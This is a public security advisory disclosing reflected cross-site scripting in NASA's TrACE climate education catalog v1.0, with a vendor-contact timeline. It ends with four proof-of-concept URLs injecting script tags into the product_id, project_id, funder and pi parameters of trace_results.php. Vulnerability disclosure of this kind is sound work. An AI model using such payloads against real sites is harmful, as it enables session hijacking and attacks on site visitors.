NASA Tri-Agency Climate Education (TrACE) v1.0 Multiple XSS Vulnerabilities


Vendor: NASA
Product web page: http://www.nasa.gov
Affected version: 1.0

Summary: The Tri-Agency Climate Education (TrACE) Catalog provides search and
browse access to a catalog of educational products and resources. TrACE focuses
on climate education resources that have been developed by initiatives funded
through NASA, NOAA, and NSF, comprising a tri-agency collaboration around
climate education.

Desc: The application suffers from a reflected cross-site scripting vulnerability
when input is passed to the 'product_id', 'pi', 'project_id' and 'funder' GET parameters
in 'trace_results.php' script which is not properly sanitised before being returned
to the user. This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Apache/2.2.21
           PHP 5.2.17


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience
                              Zero Science Lab - http://www.zeroscience.mk


Vendor status:

[03.10.2012] Vulnerabilities discovered.
[03.10.2012] Initial contact with the vendor.
[04.10.2012] No reply from vendor.
[05.10.2012] Tried contacting the vendor again.
[12.10.2012] No reply from vendor.
[13.10.2012] Last try contacting the vendor.
[15.10.2012] Vendor replies stating that the problem is solved?!
[16.10.2012] Replied to vendor that no problems are solved because no details were sent nor problems explained.
[17.10.2012] Vendor decides to talk serious and asks for details, cynically.
[18.10.2012] Sent detailed information and PoC files to the vendor.
[22.10.2012] Asked vendor for status report.
[22.10.2012] No reply from vendor.
[23.10.2012] Vendor silently patches the application (v2.0).
[23.10.2012] Asked vendor to have proper communication.
[25.10.2012] No reply from vendor.
[25.10.2012] Pointed out to the vendor about disclosure policy and ethical communication.
[26.10.2012] Public security advisory released.


Advisory ID: ZSL-2012-5111
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5111.php



03.10.2012



PoC:
----


- https://www.example.com/trace/trace_results.php?product_id=117"><script>alert(1);</script>&project_id=40&funder=31&pi=43
- https://www.example.com/trace/trace_results.php?product_id=117&project_id=40"><script>alert(2);</script>&funder=31&pi=43
- https://www.example.com/trace/trace_results.php?product_id=117&project_id=40&funder=31"><script>alert(3);</script>&pi=43
- https://www.example.com/trace/trace_results.php?product_id=117&project_id=40&funder=31&pi=43"><script>alert(4);</script>